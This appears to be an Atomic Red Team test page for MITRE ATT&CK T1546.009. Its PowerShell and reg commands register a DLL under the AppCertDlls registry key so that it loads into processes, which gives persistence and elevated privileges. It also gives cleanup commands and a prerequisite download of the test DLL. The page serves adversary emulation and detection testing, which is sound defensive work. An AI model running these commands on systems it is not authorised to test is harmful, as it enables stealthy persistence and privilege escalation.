T1546.009 - Event Triggered Execution: AppCert DLLs
Description from ATT&CK (opens in a new tab)
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the
AppCertDLLs
Registry key underHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions
CreateProcess
,CreateProcessAsUser
,CreateProcessWithLoginW
,CreateProcessWithTokenW
, orWinExec
. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection (opens in a new tab), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.
Atomic Tests
Atomic Test #1 - Create registry persistence via AppCert DLL
Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key.
Once the computer restarted, the DLL will be loaded in multiple processes and write an
'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.
Reference: https://skanthak.homepage.t-online.de/appcert.html (opens in a new tab)
Supported Platforms: Windows
auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05
Inputs:
Name Description Type Default Value dll_path path of dll to use path PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll reboot Set value to $true if you want to automatically reboot the machine string $false
Attack Commands: Run with powershell
! Elevation Required (e.g. root or admin)
Copy-Item "#{dll_path}" C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if(#{reboot}){Restart-Computer}
Cleanup Commands:
reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
Remove-Item C:\Users\Public\AtomicTest.dll -Force
Remove-Item C:\Users\Public\AtomicTest.txt -Force
Dependencies: Run with powershell
!
Description: File to copy must exist on disk at specified location (#{dll_path})
Check Prereq Commands:
if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}"